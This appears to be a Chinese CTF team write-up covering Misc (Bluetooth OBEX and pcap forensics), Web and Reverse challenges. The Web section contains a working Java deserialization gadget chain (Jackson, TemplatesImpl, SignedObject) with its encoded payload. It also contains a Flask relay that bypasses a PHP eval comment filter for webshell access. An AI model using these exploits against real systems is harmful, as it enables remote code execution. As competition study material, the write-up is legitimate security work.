Misc

[Misc] BlueTrace | @Ron @Luminoria

打开文件发现是蓝牙流量,跑一下 strings 发现有一个 flag.png

Package 4267 传了一个 jpg 文件

Package 34714 看起来传输了一个 ZIP 包,里面有上面跑出来的 flag.png

obex 是明文协议,但是 WireShark 会自动根据 OBEX 的数据包头重新组装数据包,所以会导致在 Wireshark 里面提取出问题

用 tshark 来 dump 一下

1
$ tshark -r BlueTrace.pcapng -Y "obex.opcode == 0x02" -T fields -e obex.header.value.byte_sequence > hex.txt

把提取的 hex 流丢到赛博厨子里面,转成二进制文件

把这个图用 binwalk 来 walk 一下,提取后面的 zip 文件

打开提取后的文件夹,发现有个提示「压缩包密码是蓝牙传输的目标电脑名字」

回到数据包,发现电脑名字有乱码,可能存在非 ASCII 字符,右键复制为 b64,拿去解码

解码一下,得到 PC 的名字为 INFERNITYのPC

解压后得到下图

本来以为是不是黑白表示 0 或 1 的,用 PS 打开发现有灰度,所以不可能是那种玩法,但是发现了一个很有趣的现象,每个像素点的 RGB 值是一致的

所以考虑是不是用 RGB 值编码了什么东西,尝试提取一下,顺带计算一下每个 RGB 值出现了多少次,可能会有新发现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from PIL import Image
from pprint import pprint

image = Image.open(r"BlueTrace\image.png")
pixel_bytes = bytearray()
rgb_dict = {}

for y in range(image.size[1]):
for x in range(image.size[0]):
# print(image.getpixel((x, y)))
# int 类型不能作为索引,不然爆 TypeError
rgb_dict[str(image.getpixel((x, y))[0])] = rgb_dict[str(image.getpixel((x, y))[0])] + 1 if str(image.getpixel((x, y))[0]) in rgb_dict else 1
pixel_bytes.append(image.getpixel((x, y))[0])

pprint(rgb_dict) # 尝试查看每个RGB出现多少次
# {'228': 319, '184': 161, '128': 249, '227': 113, '129': 121, '187': 173, '185': 67, '136': 129, '230': 476, '152': 82, '175': 159, '67': 42, '84': 38, '70': 37,
# '239': 152, '188': 235, '159': 86, '10': 130, '140': 191, '229': 858, '141': 78, '179': 55, '32': 196, '97': 53, '112': 13, '116': 52, '117': 11, '114': 42, '101': 86,
# '104': 15, '108': 29, '103': 22, '173': 82, '150': 96, '135': 95, '144': 120, '186': 133, '164': 44, '151': 59, '232': 329, '181': 67, '155': 142, '231': 440, '167': 62,
# '189': 102, '145': 75, '156': 143, '174': 110, '137': 105, '133': 109, '168': 143, '138': 83, '139': 57, '233': 218, '180': 50, '191': 80, '161': 61, '171': 40,
# '158': 58, '154': 197, '132': 114, '148': 73, '162': 64, '143': 171, '130': 111, '166': 55, '163': 39, '134': 149, '142': 83, '157': 45, '165': 102, '183': 87, '226': 4,
# '153': 56, '182': 83, '170': 28, '146': 49, '131': 71, '190': 62, '160': 65, '87': 18, '98': 17, '169': 18, '149': 38, '177': 27, '147': 26, '176': 62, '172': 24,
# '74': 4, '111': 40, '100': 17, '121': 16, '102': 11, '65': 7, '77': 15, '178': 17, '99': 17, '107': 14, '45': 10, '68': 13, '110': 19, '115': 22, '52': 4, '56': 4,
# '105': 30, '120': 7, '83': 24, '81': 5, '76': 4, '88': 3, '69': 10, '82': 8, '118': 9, '80': 21, '119': 5, '47': 3, '58': 1, '123': 1, '48': 8, '54': 9, '55': 2,
# '57': 2, '50': 3, '49': 6, '125': 1, '79': 3, '73': 10, '72': 9, '66': 5, '86': 5, '51': 5, '53': 1, '109': 11, '40': 10, '41': 10, '78': 9, '43': 2, '71': 8, '124': 2,
# '122': 2, '85': 1, '106': 4}

# print(pixels)

with open(r"Bluetrace\output.txt", "wb") as f:
f.write(pixel_bytes)

从字典中没看出个所以然来,但是打开 output.txt,发现是有文本的

一开始没发现有什么问题,我还打开了 wbStego4,结果突然想到可以搜搜 flag 头 DASCTF,结果就搜索到了

得到 flag 为 DASCTF{0ba687ee-60e0-4697-8f4c-42e9b81d2dc6}

[Misc] 一把嗦的解题思路 | @Luminoria | 未出

时间:17:54

流量分析题,Nginx + PHPStudy,网站是一个云盘下载站

文件列表有 5 个文件

  • uploads/a.jpg
  • uploads/flag.txt
  • secret/img1.png
  • secret/secret.7z
  • secret/th.jpg

有这几种长度的请求

1
2
3
4
5
6
7
8
9
10
11
12
import os

size = set()
os.system(r'tshark -r 一把嗦的解题思路\DAS6-_25e5534ffb442067545615c6cc79e2ca\tempdir\MISC附件\222\222.pcapng -Y "http && http.response.code !== 404" -T "fields" -e "frame.len" > 一把嗦的解题思路\DAS6-_25e5534ffb442067545615c6cc79e2ca\tempdir\MISC附件\222\output.txt')

with open(r"一把嗦的解题思路\DAS6-_25e5534ffb442067545615c6cc79e2ca\tempdir\MISC附件\222\output.txt", "r") as f:
for line in f:
size.add(int(line.strip()))

print(sorted(list(size)))

# [59, 389, 427, 454, 545, 766, 771, 967, 979, 991, 1049, 1111, 1191, 1197, 1215, 2601, 35550, 43034]
  • Len 59 是文件列表
  • Len 389 是 302 重定向 http://61.139.2.134/system/index.php
  • Len 427 是 301 重定向 http://61.139.2.134/system
  • Len 454 是假 flag ZmxhZ3tmYWtl4oCU4oCUaGFoYWhhfQ== -> flag{fake——hahaha}
  • Len 545 可能是一个webp文件,有RIFF头,但是损坏
    • UklGRpBMAgBXRUJQVlA4IIRMAgBQgBKdASoADMAGPp1On0wmJy0sJHMJsLATiWdulqXiv2z/51Kfz9dD/zM54ZdX3qMDVZ+JYaDpv9L73vfhyB3j/gOVB0p+x43/pnqEeW/lafTf+L2CvNaz7/7X0o/Qf6F0/b0j6Tv3izPynalfmH+v+x6/HI/vz/n/Y/fF9DH/71C+i//3o/+4//HmL//fsU/hf/s6anr1/v295
  • Len 766 是非 ViP 用户提示
  • Len 771 同上
  • Len 967 是登录页面
  • Len 979 也是,但是登录失败
  • Len 991 是注册成功提示+登录页面
  • Len 1049 同上
  • Len 1111 是报错,可以得知数据库用的 sqlite3
    • 链接是http://61.139.2.134/system/index.php
    • <b>Warning</b>: SQLite3::query(): Unable to prepare statement: 1, unrecognized token: "'1''" in <b>C:\phpstudy_pro\WWW\system\index.php</b> on line <b>111</b><br />\n
    • <b>Fatal error</b>: Uncaught Error: Call to a member function fetchArray() on bool in C:\phpstudy_pro\WWW\system\index.php:111\n
    • Stack trace:\n
    • #0 {main}\n
    • thrown in <b>C:\phpstudy_pro\WWW\system\index.php</b> on line <b>111</b><br />\n
  • Len 1191 是文件列表,看起来是在 uploads 目录里面
  • Len 1197 同上
  • Len 1215 同上
  • Len 2601 是 PHPStudy 的默认页面
  • Len 35550 是图片(下面有)
  • Len 43034 是下面提到的 7z 文件

Package 959 发现一张 JPG 图片,Package 12924 发现文件(可能是7z)

应该是了,试了一下7z的魔术头就是7z

得到 dump.jpgsecret.vmdk,分别来自上述两个流量 Package

挂在这个盘不出意外的要密码,可能与图片有关,我试试隐写,结果工具说这个 jpg 文件没有被修改,可能 Bitlocker 的密码是这个图片本身?印象中 Bitlocker 没有把图片作为密码的方案,用 ArsenalImageMounter 挂载,还是密码问题

PS能够正确识别这个图,可能这个图没有那种常规的隐写

我投降了 =-=

Web

[Web] 再短一点点 | @Rusty

使用了InflaterInputStream,可以对应使用DeflaterOutputStream进行压缩

根据过滤的黑名单用二次反序列化进行绕过

1
2
3
4
5
6
7
8
} catch (Exception var9) {
var9.printStackTrace();
StringWriter sw = new StringWriter();
PrintWriter pw = new PrintWriter(sw);
var9.printStackTrace(pw);
String stackTrace = sw.toString();
return stackTrace.contains("getStylesheetDOM") ? "命运的硬币抛向了反面,重启环境试试?" : "something went wrong :(";
}

根据这段,猜测使用jackson不加稳定来减少字数,失败重启环境

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import javassist.*;
import org.springframework.aop.framework.AdvisedSupport;
import org.springframework.aop.target.HotSwappableTargetSource;
import sun.misc.Unsafe;

import javax.management.BadAttributeValueExpException;
import javax.naming.CompositeName;
import javax.servlet.ServletRequest;
import javax.swing.event.EventListenerList;
import javax.swing.undo.UndoManager;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;
import java.security.*;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
import java.util.Vector;
import java.util.zip.Deflater;
import java.util.zip.DeflaterOutputStream;
import java.util.zip.InflaterInputStream;

public class avoid_error {

public static void main(String[] args) throws Exception {

ClassPool pool = ClassPool.getDefault();
CtClass ctClass0 = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = ctClass0.getDeclaredMethod("writeReplace");
ctClass0.removeMethod(writeReplace);
ctClass0.toClass();

CtClass ctClass = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
ctClass.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{},ctClass);
constructor.setBody("Runtime.getRuntime().exec(\"rm /a\");");
ctClass.addConstructor(constructor);
byte[] bytes = ctClass.toBytecode();


Templates templatesImpl = new TemplatesImpl();
setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes});
setFieldValue(templatesImpl, "_name", "z");
setFieldValue(templatesImpl, "_tfactory", null);

POJONode jsonNodes = new POJONode(templatesImpl);

HotSwappableTargetSource h1 = new HotSwappableTargetSource(jsonNodes);
HotSwappableTargetSource h2 = new HotSwappableTargetSource(new XString(null));
HashMap<Object, Object> objectObjectHashMap = makeMap(h1, h2);

KeyPairGenerator keyPairGenerator;
keyPairGenerator = KeyPairGenerator.getInstance("DSA");
keyPairGenerator.initialize(1024);
KeyPair keyPair = keyPairGenerator.genKeyPair();
PrivateKey privateKey = keyPair.getPrivate();
Signature signingEngine = Signature.getInstance("DSA");
SignedObject signedObject = new SignedObject(objectObjectHashMap,privateKey,signingEngine);

POJONode jsonNodes1 = new POJONode(signedObject);


HotSwappableTargetSource h12 = new HotSwappableTargetSource(jsonNodes1);
HotSwappableTargetSource h22 = new HotSwappableTargetSource(new XString(null));

HashMap<Object, Object> objectObjectHashMap1 = makeMap(h12, h22);

System.out.println(serial(objectObjectHashMap1).length());


ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
objectOutputStream.writeObject(objectObjectHashMap1);
objectOutputStream.flush();
byte[] barrByteArray = barr.toByteArray();

ByteArrayOutputStream bos = new ByteArrayOutputStream();
Deflater deflater = new Deflater(9);
DeflaterOutputStream dos = new DeflaterOutputStream(bos,deflater);
dos.write(barrByteArray);
dos.finish();
dos.flush();

String encodedString = Base64.getEncoder().encodeToString(bos.toByteArray());
System.out.println("Base64编码后大小: " + encodedString.length() + " 字符");
System.out.println(encodedString);
}
public static HashMap<Object, Object> makeMap (Object v1, Object v2 ) throws Exception {
HashMap<Object, Object> s = new HashMap<>();
setFieldValue(s, "size", 2);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);

Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
setFieldValue(s, "table", tbl);
return s;
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.setAccessible(true);
if(field != null) {
field.set(obj, value);
}
}
public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
} catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}

}

eNrtVD1sHEUUfnPn%2B%2BVs8GE7OIrET2M7SmYNQUTiIogTMHY4Yitn2UgntMztTW7X3p9hZtbegERBTw%2BiAwmEuCaNA0SAIkSD0qQACYiUFEhUNISCJjFvdh3ZECNCRZNd3czt7HvfvPfN923%2FVygoCcOrbJ3RWHs%2BnWPKfYmJQunHS1%2BPvXolD7lZqPoR684yR0dyHiralVy5kd9NxLPHIb02yjjkzA%2FBjkayR5WQXtg7K1nANyK5RlkkqGayxzWdi3RrgwnBOj5fSpdaUSwd7g7e%2BvmjmQ9aOSBNKGbBGupNU5vls7BnLXRWuaMbicBdDjlRQM8ypblMAp%2BuMmdNRSHtMs06XtilYdTldHHh1MJp%2FJNVCbkM2l5nfsxfgzchn0g4fDdAyyZjFxLBZjF3%2Bm5yTzDFT%2BHy39NNF%2FtT4hV3Yunpc7Tl9ULezdqsbH3hHjz23VYO8m0oOVGoeYh85Non2lBRGMh0LNMuqk2oaZczvxchihv8lbSWNieBpMXSJPdv7PujWF66nlYAUBjv35PA%2FyqBpw2AikNqOGOCOS6nCcNmqYdHLkPm00T52qFasoQu8UD4THM1j3NlZeFS2P%2FkSB6K8zBo43YokdNx0OF4SEM2JoTK53oe15M2VO3OOc0dLEFp1JTRUdF2fKbwsd7exfFJs9ZoQsEO8ez2VFMThu0o1iLWizISXGrPgI5lgUZE1s56w%2BgMYAsvlKDZ%2BMWb46O93k9HtzUIZE9pkpVvb33%2BJb5%2BEh4iQFgJCIHjyJaFbFnIlpWxZaVsWbfZslK2LBmH2gu4NdNRyIOjl7bJKEGeQPGYF3r6GQL5yallAgMnkZQaFKBYhQEok8wMWcNnMpwSVAlUUY7bzwRGJ6ead4Q1alCDwSrcB0MECjJ4xGJleAB34Al3CExM3knlbhQkzeHIfQ3q8KBBGcFNM2vMej5uWmTURMOjaLWBTEd4Y%2BE4lvBpP64TnIcOXoDKp3B%2FfXgTRlfOb0eOpRbdJzSQ18UGgcQYYECZ0bj28b2UKJh2d5QYpfZT9OWs%2BAPVicbc2Dc3Myv8l%2FzMx7%2B%2FU69cfGNzPDVlIbDx9W1PHvp3sOcTgZ8h5UVh6YcPD7zd73%2Bf4pQDWzCZfiyfaO4lF4OyI5cdFONOFKsQpoaRJDbTIFJmTR%2FOjcJbv%2FhTj61NvOc9nHzWbFw7X3vqleXcSPPI4rvrv01%2F%2FP7V1oXNi%2BM3vnqBXkZ3PdeaucftP3I7nPwJKiK0Jw%3D%3D

[Web] phpms | @Rusty @Luminoria @Ron | 未出

进去一片空白?

对扫描速度做了限制

存在/.git泄露:/.git/logs/HEAD

githacker爬取,stashes里面有index.php

1
2
3
4
5
6
7
8
<?php
$shell = $_GET['shell'];
if(preg_match('/\x0a|\x0d/',$shell)){
echo ':(';
}else{
eval("#$shell");
}
?>

参考:【从国赛想到的一些php绕过注释符trick】https://osthing.github.io/2024/07/14/%E4%BB%8E%E5%9B%BD%E8%B5%9B%E6%83%B3%E5%88%B0%E7%9A%84%E4%B8%80%E4%BA%9Bphp%E7%BB%95%E8%BF%87%E6%B3%A8%E9%87%8A%E7%AC%A6trick/

https://www.php.net/manual/zh/language.basic-syntax.comments.php

写一个中间件把 payload 包裹在 ?><??> 的中间

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
      
from flask import Flask, request
import requests

app = Flask(__name__)

# 设置目标 URL
TARGET_URL = "http://305c69e8-4b82-47cc-9072-e5997b2cbb66.node5.buuoj.cn:81/index.php?shell="

@app.route("/exec", methods=["GET", "POST"])
def send_payload():
payload = request.args.get("payload") or request.form.get("payload")
if not payload:
return "Missing payload", 400

# 包装 payload
data = f"?><?{payload}?>"

# 发送 POST 请求
try:
response = requests.get(TARGET_URL+data)
print (response.text)
return response.text, response.status_code
except Exception as e:
return str(e), 500

if __name__ == "__main__":
app.run(port=5000, debug=True)

蚁剑参数

1
2
3
URL: http://127.0.0.1:5000/exec
连接密码: payload
编码器选择 base64

得到

1
2
php版本7.3.33
Apache/2.4.52 (Debian)

能够拿到黑名单

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
function block_if_dangerous_code($input) {
// 定义正则:匹配函数名,忽略大小写,捕获具体匹配内容
if (preg_match('/\b(eval|include|include_once|require|require_once)\b/i', $input, $match)) {
$matched_func = $match[1]; // 捕获到的函数名
echo "<br />";
echo "<b>Warning</b>: {$matched_func} has been disabled for security reasons in <b>/var/www/html/index.php(6) : eval()'d code</b> on line <b>1</b><br />";
exit;
}
}

// 检查 GET 参数 shell
if (isset($_GET['shell'])) {
block_if_dangerous_code($_GET['shell']);
}

?>

Reverse

[Reverse] BabyAPP | @Jeremiah | 未出

能够得到 K3y: 2086757714

有简单混淆,只需要在BR x8处将指令patch成 B 某个偏移处即可,经过测试需要改成B SBFX指令的下一条指令的地址即可

加密流程为

  • 白盒AES(0x3FD0)
  • CRC32(0x6C6F7665)

[Reverse] 鱼音乐 | @Jeremiah | 未出

看图标 Pyinstaller,GUI 用的 Qt5,使用 Pylingual 逆向 main.pyc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
# Decompiled with PyLingual (https://pylingual.io)
# Internal filename: main.py
# Bytecode version: 3.8.0rc1+ (3413)
# Source timestamp: 1970-01-01 00:00:00 UTC (0)

import sys
import os
from PyQt5.QtWidgets import QApplication, QMainWindow, QWidget, QPushButton, QLabel, QVBoxLayout, QFileDialog, QMessageBox
from PyQt5.QtGui import QPixmap
from PyQt5.QtMultimedia import QMediaPlayer, QMediaContent
from PyQt5.QtCore import QUrl
from xianyu_decrypt import load_and_decrypt_xianyu

class MainWindow(QMainWindow):

def __init__(self):
super().__init__()
self.setWindowTitle('Fish Player - 鱼音乐🐟')
self.resize(600, 400)
self.player = QMediaPlayer(self)
self.open_button = QPushButton('打开 .xianyu 文件')
self.open_button.clicked.connect(self.open_xianyu)
self.cover_label = QLabel('专辑封面展示')
self.cover_label.setScaledContents(True)
self.cover_label.setFixedSize(300, 300)
layout = QVBoxLayout()
layout.addWidget(self.open_button)
layout.addWidget(self.cover_label)
container = QWidget()
container.setLayout(layout)
self.setCentralWidget(container)

def open_xianyu(self):
file_path, _ = QFileDialog.getOpenFileName(self, '选择 .xianyu 文件', '', 'Xianyu Files (*.xianyu)')
if not file_path:
return
try:
info = load_and_decrypt_xianyu(file_path)
meta = info['meta']
cover_path = info['cover_path']
audio_path = info['audio_path']
if cover_path and os.path.exists(cover_path):
pixmap = QPixmap(cover_path)
self.cover_label.setPixmap(pixmap)
else:
self.cover_label.setText('无封面')
url = QUrl.fromLocalFile(audio_path)
self.player.setMedia(QMediaContent(url))
self.player.play()
name = meta.get('name', '未知')
artist = meta.get('artist', '未知歌手')
fl4g = meta.get('fl4g', 'where_is_the_flag?')
FLAG = meta.get('')
QMessageBox.information(self, '🐟音乐提示您', f'正在播放:{name}\n歌手:{artist}\nfl4g:{fl4g}\nFLAG:{FLAG}')
except Exception as e:
QMessageBox.critical(self, '错误', str(e))

def main():
app = QApplication(sys.argv)
w = MainWindow()
w.show()
sys.exit(app.exec_())
if __name__ == '__main__':
main()

xianyu_decrypt 是 pyd 文件,应该是 Cython 写的